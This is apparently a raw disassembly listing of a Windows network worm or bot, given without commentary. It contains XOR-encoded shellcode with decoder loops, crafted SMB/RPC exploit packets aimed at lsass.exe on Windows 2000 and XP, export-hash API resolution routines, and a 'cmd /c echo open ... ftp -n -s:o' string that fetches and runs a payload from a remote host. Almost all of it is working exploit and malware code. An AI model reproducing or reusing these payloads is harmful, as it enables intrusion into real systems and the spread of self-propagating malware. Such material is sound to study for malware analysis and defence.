db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h
db 12h, 41h, 0F1h
byte_445907 db 0E6h ; DATA XREF: sub_40BEAB+12Do
; ---------------------------------------------------------------------------
cdq
cdq
cwde
icebp
wait
cdq
loc_44590E: ; DATA XREF: sub_40BEAB+11Do
popf
dec ebx
adc dl, [ebp-0Dh]
loc_445913: ; CODE XREF: sub_44589A:loc_4458AFj
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_445931: ; CODE XREF: sub_44589A+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_44589A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 0CA91h
dd 6685CF66h, 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch
dd 0AA6C9AB9h, 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh
dd 439A9452h, 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h
dd 85C312D2h, 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h
dd 7597D717h, 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h
dd 346C9040h, 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_4459D8: ; DATA XREF: sub_40B8D0+156o
; sub_40B8D0+212o
jmp short loc_4459EA
; =============== S U B R O U T I N E =======================================
sub_4459DA proc near ; CODE XREF: sub_4459DA:loc_4459EAp
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_4459E2: ; CODE XREF: sub_4459DA+Cj
xor byte ptr [edx+ecx], 99h
loop loc_4459E2
jmp short loc_4459EF
; ---------------------------------------------------------------------------
loc_4459EA: ; CODE XREF: seg002:loc_4459D8j
call sub_4459DA
loc_4459EF: ; CODE XREF: sub_4459DA+Ej
jo short near ptr dword_445964+22h
cwde
cdq
cdq
retn
sub_4459DA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_445A88 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_40B8D0+105o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_445B70 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: seg000:0040BD8Bo
; seg000:0040C364o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_445BFC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: seg000:0040BDB7o
; seg000:0040C390o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 8
dword_445CA8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: seg000:0040BDDEo
; seg000:0040C3B7o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_445D88 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40B8D0+58o
; sub_40BEAB+58o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_5: ; DATA XREF: sub_40B8D0+8Ao
; sub_40BEAB+8Ao
unicode 0, <C$>,0
a????? db '?????',0
dd 0
dword_445DEC dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40B8D0+2AAo
; sub_40BEAB+2CFo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_445E58 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40B8D0+2D1o
; sub_40BEAB+2FAo
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_445EFC dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40B8D0+3B0o
; sub_40BEAB+3DDo
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_445F7C dd offset loc_401492+3 ; DATA XREF: sub_40B8D0+3DEo
; sub_40BEAB+40Bo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707C
dd 1, 0
dd 1, 0
dd offset loc_40707C
dd 1, 0
dd 1, 0
dd offset loc_40707C
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_446010 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40B8D0+306o
; sub_40BEAB+333o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_44607C dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40B8D0+331o
; sub_40BEAB+35Eo
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_4460F0 dd 0 ; sub_40BEAB+38Co
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 2 dup(0)
dword_446178 dd 0AD9Dh ; sub_40B8D0+41Ar
dd 2 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 8
dword_4461B8 dd 1004600h ; sub_40B8D0+245r ...
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
dword_446270 dd 1CEC8166h dword_446274 dd 0E4FF07h dword_446278 dd 73255C5Ch, 6370695Ch, 24hdword_446284 dd 6EB06EBh, 0 dword_44628C dd 1CEC8166h dword_446290 dd 0E4FF07h dword_446294 dd 73255C5Ch, 6370695Ch, 24h; ---------------------------------------------------------------------------
loc_4462A0: ; DATA XREF: sub_40BEAB+19Fo
jmp short loc_4462A8
; ---------------------------------------------------------------------------
db 0EBh
; ---------------------------------------------------------------------------
loc_4462A3: ; CODE XREF: seg002:004462E6j
push es
; ---------------------------------------------------------------------------
dd 0
; ---------------------------------------------------------------------------
loc_4462A8: ; CODE XREF: seg002:loc_4462A0j
; DATA XREF: sub_40C5EF+118o
jmp short loc_4462AD
; ---------------------------------------------------------------------------
loc_4462AA: ; CODE XREF: seg002:loc_4462ADp
pop ebp
jmp short loc_4462B2
; ---------------------------------------------------------------------------
loc_4462AD: ; CODE XREF: seg002:loc_4462A8j
call loc_4462AA
loc_4462B2: ; CODE XREF: seg002:004462ABj
mov eax, ebp
add eax, 11h
xor ecx, ecx
mov cx, 1C9h ; CODE XREF: seg002:004462D8j
loc_4462BD: ; CODE XREF: seg002:004462C1j
xor byte ptr [eax], 88h
inc eax
loop loc_4462BD
fld qword ptr [ebx]
add edi, fs:[ecx+ecx+64h]
or [eax-3B9F7778h], cl
mov [eax+74CE0188h], ecx
loc_4462D6: ; CODE XREF: seg002:loc_4462D6j
ja short loc_4462D6
jz short near ptr loc_4462B9+1
push es
mov byte ptr [esi-76269F9Ch], 88h
mov [ecx], al
into
dec esi
loopne loc_4462A3
mov edx, 0FFE08888h
sti
mov edx, 0DE77DCD7h
dec esi
add esi, ecx
jo short loc_44636F
; ---------------------------------------------------------------------------
dd 25E074FEh, 60468D51h, 888889B8h, 775ACE01h, 0FAE074FEh
dd 609E3B76h, 888889A8h, 7746CE01h, 67E074FEh, 60E86846h
dd 88888998h, 7742CE01h, 43E070FEh, 60B37465h
db 88h, 89h, 88h
; ---------------------------------------------------------------------------
loc_446333: ; CODE XREF: seg002:loc_4463A7j
mov [ecx], al
into
jl short loc_4463AF
; ---------------------------------------------------------------------------
db 0FEh, 70h, 0E0h
; ---------------------------------------------------------------------------
loc_44633B: ; CODE XREF: seg002:00446359j
push ecx
cmp dword ptr [ebp+25h], 88887860h
mov [ecx], al
into
js short loc_4463BF
; ---------------------------------------------------------------------------
db 0FEh, 70h, 0E0h
; ---------------------------------------------------------------------------
loc_44634B: ; CODE XREF: seg002:00446369j
sub al, 92h
clc
dec edi
pusha
push 1888888h
into
db 64h ; CODE XREF: seg002:00446356j
ja short near ptr loc_446356+1
jo short loc_44633B
loc_44635B: ; CODE XREF: seg002:00446379j
sub al, 25h
cmpsb
popa
pusha
pop eax
mov [eax+60CE0188h], cl
loc_446367: ; CODE XREF: seg002:loc_446367j
ja short loc_446367
jo short loc_44634B
insd
ror dword ptr [esi], 0C1h
loc_44636F: ; CODE XREF: seg002:004462F6j
pusha
dec eax
mov [eax+6ACE0188h], cl
loc_446377: ; CODE XREF: seg002:loc_446377j
ja short loc_446377
jo short loc_44635B
outsd
icebp
dec esi
icebp
pusha
loc_446380: ; CODE XREF: seg002:004463A0j
cmp [eax-31FE7778h], cl
pop esi
mov ebx, 7C640977h
mov [eax-761F2378h], ecx
loc_446392: ; CODE XREF: seg002:loc_4463B2j
; seg002:004463B7j
mov [eax+7CDE7788h], ecx
fcomp st
fcomp st
enter 0FFFFC8D8h, 0D8h ; CODE XREF: seg002:loc_4463BFj
ja short loc_446380
js short loc_4463A7
push eax
fstp9 st(7)
loc_4463A7: ; CODE XREF: seg002:004463A2j
loopne loc_446333
mov [ebx-1DBBFC91h], ch
loc_4463AF: ; CODE XREF: seg002:00446336j
sahf
fstp1 st(3)
loc_4463B2: ; CODE XREF: seg002:004463E4j
ja short loc_446392
loc_4463B4: ; CODE XREF: seg002:004463C6j
db 64h
fstp9 st(3)
ja short near ptr loc_446392+5
pusha
mov ebx, 0DBD9DF77h
loc_4463BF: ; CODE XREF: seg002:00446346j
ja short near ptr loc_44639C+3
push 3
pop eax
add esi, ecx
db 36h ; CODE XREF: seg002:0044640Dj
loopne loc_4463B4
in eax, 0ECh
mov [ecx], al
out dx, al
dec edx
or ecx, [esp+5]
mov ah, 0ACh
mov ebx, 841BB48h
dec ecx
popf
and ebp, [edx+75h]
dec esi
int 3 ; Trap to Debugger
lodsb
cwde
int 3 ; Trap to Debugger
jbe short loc_4463B2
lodsb
mov ch, 1
fsubr qword ptr [eax+eax*8-3B5323FFh] ; CODE XREF: seg002:0044640Fj
add esp, ebx
lodsb
fadd dword ptr ds:0DC98ACCCh
fcomp st(1)
fstp1 st(1)
leave
fld st(1)
fstp1 st(1)
loc_446402: ; CODE XREF: seg002:loc_446402j
ja short loc_446402
dec edx
fnstenv byte ptr [edi-22h]
inc esi
add eax, [edx+77h]
ja short near ptr loc_4463C6+2
ja short near ptr loc_4463E9+6
pop edx
add eax, [eax+77h]
; ---------------------------------------------------------------------------
db 0FEh, 36h, 77h
dd 16635EDEh, 0DE9CDE77h, 88B829ECh, 0C8038888h, 94F80384h
dd 80C80325h, 888C4AD6h, 0DFDEDDDBh, 90ACE403h, 3B4CD03h
dd 8BF08DDCh, 90C2035Dh, 8BA8D203h, 0C1BA6B55h, 8B03BC03h
dd 7477BB7Dh, 0B22448BBh, 498FFC4Ch, 708B8547h, 0F4B37A63h
dd 69FD9CACh, 8BACD203h, 8403EE55h, 94D203C3h, 8C03558Bh
dd 634D8B03h, 348BB8Ah, 0D5D6D75Dh, 888C4AD3h
dword_44648C dd 280004h, 10h, 4 dup(0) dd 5A7B91F8h, 11D0FF00h, 0C000B2A9h, 0FCE6B64Fh, 0FFFFFFFFh
dd 68736942h, 326B656Bh, 0FF333030h, 0
dd 1, 0
dd 0FFFF0000h, 0FFFFFFFFh, 0FFFFh, 0
aWindows2000Sp3 db 'Windows 2000 SP 3 (en)',0 ; DATA XREF: seg000:0040C497o
align 4
aWindowsXpSp1En db 'Windows XP SP 1 (en)',0 ; DATA XREF: seg000:0040C4B0o
align 10h
dword_446510 dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 0
aNetmaniac db 'NETMANIAC',0 ; DATA XREF: sub_40C5EF+1Eo
align 4
aAdik db 'ADIK',0 ; DATA XREF: sub_40C5EF+2Ao
align 4
byte_446534 db 5 dup(90h) ; DATA XREF: sub_40C5EF+35o
; ---------------------------------------------------------------------------
jmp short loc_44653E
; =============== S U B R O U T I N E =======================================
sub_44653B proc near ; CODE XREF: sub_44653B:loc_44653Ep
pop eax
jmp short loc_446543
; ---------------------------------------------------------------------------
loc_44653E: ; CODE XREF: seg002:00446539j
call sub_44653B
loc_446543: ; CODE XREF: sub_44653B+1j
mov ecx, 0FFFFFFFFh
sub ecx, 0FFFFEE7Fh
sub eax, ecx
jmp eax
sub_44653B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
byte_446554 db 4 dup(90h) ; DATA XREF: sub_40C5EF+45o
dd 909010EBh, 90909090h, 0
aMessage db '*** MESSAGE ***',0 ; DATA XREF: sub_40C5EF+51o
aMsgBodySizeD db '[*] Msg body size: %d',0Ah,0 ; DATA XREF: sub_40C5EF+177o
align 4
aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CA75+B2o
align 4
dword_446598 dd 10FF8h, 0 dword_4465A0 dd 10FF8h dword_4465A4 dd 7FFDF020h, 0 dword_4465AC dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_446634 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0
dd 0FF0Ch, 0A110400h, 2 dup(0)
dword_446664 dd 0 dd 800000D4h, 0
unk_446670 db 81h ; ; DATA XREF: sub_40CF79+Ao
db 2 dup(0), 44h
aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0
dd 0
byte_4466BC db 41h ; DATA XREF: sub_40D017+FFr
aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 10h
; =============== S U B R O U T I N E =======================================
sub_446700 proc near ; DATA XREF: seg000:0040D2CEo
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_4467FC
push dword ptr [esi]
push 63D61209h
call sub_446812
mov [esi+8], eax
call sub_4467C5
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_446812
mov [esi+0Ch], eax
call sub_446777
push dword ptr [esi+4]
push 4C0297FAh
call sub_446812
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_446700 endp
; =============== S U B R O U T I N E =======================================
sub_446777 proc near ; CODE XREF: sub_446700+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_4467A0
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_446777 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4467A0 proc near ; CODE XREF: sub_446777+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_4467AF: ; CODE XREF: sub_4467A0+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_4467BC
inc ebx
jmp short loc_4467AF
; ---------------------------------------------------------------------------
loc_4467BC: ; CODE XREF: sub_4467A0+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_4467A0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4467C5 proc near ; CODE XREF: sub_446700+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_4467DD: ; CODE XREF: sub_4467C5+1Ej
cmp [ecx], ebx
jz short loc_4467E5
mov ecx, [ecx]
jmp short loc_4467DD
; ---------------------------------------------------------------------------
loc_4467E5: ; CODE XREF: sub_4467C5+1Aj
mov edx, edi
loc_4467E7: ; CODE XREF: sub_4467C5+2Aj
cmp [edx+4], ebx
jz short loc_4467F1
mov edx, [edx+4]
jmp short loc_4467E7
; ---------------------------------------------------------------------------
loc_4467F1: ; CODE XREF: sub_4467C5+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_4467C5 endp
; =============== S U B R O U T I N E =======================================
sub_4467FC proc near ; CODE XREF: sub_446700+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_4467FC endp
; =============== S U B R O U T I N E =======================================
sub_446812 proc near ; CODE XREF: sub_446700+16p
; sub_446700+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_446828: ; CODE XREF: sub_446812+33j
jecxz short loc_446862
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_446835: ; CODE XREF: sub_446812+2Dj
lodsb
cmp al, ah
jz short loc_446841
ror edi, 0Dh
add edi, eax
jmp short loc_446835
; ---------------------------------------------------------------------------
loc_446841: ; CODE XREF: sub_446812+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_446828
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_446862: ; CODE XREF: sub_446812:loc_446828j
; sub_446812:loc_446862j
jmp short loc_446862
sub_446812 endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
sub_446868 proc near ; DATA XREF: seg000:0040D27Co
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_4468BA
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_446885: ; CODE XREF: sub_446868+38j
jecxz short loc_4468B5
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_446890: ; CODE XREF: sub_446868+32j
lodsb
test al, al
jz short loc_44689C
ror edx, 0Dh
add edx, eax
jmp short loc_446890
; ---------------------------------------------------------------------------
loc_44689C: ; CODE XREF: sub_446868+2Bj
cmp edx, [esp+arg_0]
jnz short loc_446885
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_4468B5: ; CODE XREF: sub_446868:loc_446885j
mov [esp+arg_0], ebx
retn
sub_446868 endp
; =============== S U B R O U T I N E =======================================
sub_4468BA proc near ; CODE XREF: sub_446868+7p
; FUNCTION CHUNK AT 004468F2 SIZE 00000007 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_4468D3
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_4468DE
; ---------------------------------------------------------------------------
loc_4468D3: ; CODE XREF: sub_4468BA+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_4468DE: ; CODE XREF: sub_4468BA+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_4468F2
sub_4468BA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4468E5 proc near ; CODE XREF: sub_4468BA:loc_4468F2p
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_4468E5 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4468BA
loc_4468F2: ; CODE XREF: sub_4468BA+29j
call sub_4468E5
loc_4468F7: ; DATA XREF: sub_40CA1A+1Bo
add [ebx], ah
; END OF FUNCTION CHUNK FOR sub_4468BA
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_4468FC: ; DATA XREF: sub_40CA75+E8o
jmp short near ptr dword_446904
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_446904 dd 0 aCccc db 'CCCC',0 ; DATA XREF: sub_40CA75+153o
align 10h
dword_446910 dd 3 dword_446914 dd 0A1h dword_446918 dd 30h dword_44691C dd 62B0606h, 2050501h, 0A0hdword_446928 dd 60h aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: seg000:0040D2A3o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 10h
dword_446990 dd 1000005h, 10h, 418h, 0 dd 400h, 90000h, 3 dup(1), 2 dup(3), 2, 7E4h, 0
dd 7E4h, 53004Fh, 3Ah
off_4469D4 dd offset dword_50005C ; DATA XREF: seg000:0040DE30o
dd offset word_490052
dd offset loc_410054+2
dd offset word_450054
unicode 0, <$\>,0
align 4
dword_4469EC dd 5, 10h, 418h, 0 dd 400h, 90000h, 0
dword_446A08 dd 2000005h, 10h, 404h, 0 dd 3ECh, 90000h, 0
; ---------------------------------------------------------------------------
loc_446A24: ; DATA XREF: seg000:0040DE7Co
jmp short loc_446A2E
; ---------------------------------------------------------------------------
align 4
dd offset loc_4014E9
db 2 dup(90h)
; ---------------------------------------------------------------------------
loc_446A2E: ; CODE XREF: seg002:loc_446A24j
nop
nop
nop
nop
nop
nop
jmp short loc_446A3E
; ---------------------------------------------------------------------------
align 4
dd offset loc_4014E9
db 2 dup(90h)
; ---------------------------------------------------------------------------
loc_446A3E: ; CODE XREF: seg002:00446A34j
jmp short loc_446A5A
; ---------------------------------------------------------------------------
dd 6F684041h, 6F657375h, 62616466h, 41487375h, 909006EBh
dd 100124Dh
db 2 dup(90h)
; ---------------------------------------------------------------------------
loc_446A5A: ; CODE XREF: seg002:loc_446A3Ej
nop
nop
nop
nop
; ---------------------------------------------------------------------------
dw 0
dword_446A60 dd 0E983C929h, 0D9EED9B0h, 5BF42474h; ---------------------------------------------------------------------------
loc_446A6C: ; CODE XREF: seg002:00446A76j
xor dword ptr [ebx+13h], 3704F519h
sub ebx, 0FFFFFFFCh
loop loc_446A6C
; ---------------------------------------------------------------------------
dd 7AEF9FE5h, 0C8FB0CF1h, 5B8F95E6h, 728FD13Dh, 32787E25h
dd 0BCEBF461h, 688FED56h, 7EEFF439h, 368FC192h, 0AEC4C4F7h
dd 43C471B5h, 3ACE341Eh, 0C3EF3718h, 1F20A122h, 688F106Ch
dd 51EFF43Dh, 0BC4FF992h, 0DC05E946h, 0BE8FD91Ah, 5618D175h
dd 53DFC4DAh, 0BC34B692h, 478FF959h, 778F5805h, 0B96CAB11h
dd 67E8FB57h, 646223E6h, 5379D7Fh, 5778271h, 0E7FBA146h
dd 0CBE93E71h, 0E1FBA522h, 51E17C46h, 350C1898h, 0C8069F4Ch
dd 3EDD9DC9h, 0C85358ECh, 6457A6CFh, 6447A64Ah, 0E7FBA65Ah
db 7Fh, 9Dh
word_446B1A dw 551Ah ; DATA XREF: seg000:0040DEB6w
dd 0D68DA67Fh, 2DA09D8Ch, 0C8533269h, 66149FCFh, 5FD40A4Ch
dd 0DE2A58BDh, 64D20A4Eh, 5FD40A4Ch, 7E82BCFCh, 67D20A4Eh
dd 0C851A14Dh, 0D06C66C9h, 607D3360h, 0C85123E6h, 536E93C9h
dd 5A679D7Fh, 676E1090h, 0BEC8DC40h, 0BE409FFEh, 0C4C4C4FBh
dd 1A460BB3h, 0A428B7E7h, 9C3C8F94h, 456C5EB2h, 0C81246E7h
dd 0E1FBB16Ch, 6656A242h, 366EA448h, 6651A448h, 9A6C25E6h
dd 64CAF0C0h, 0C86E23E6h, 0E7FBC2E6h, 0B4F8A292h, 0E1FB91DDh
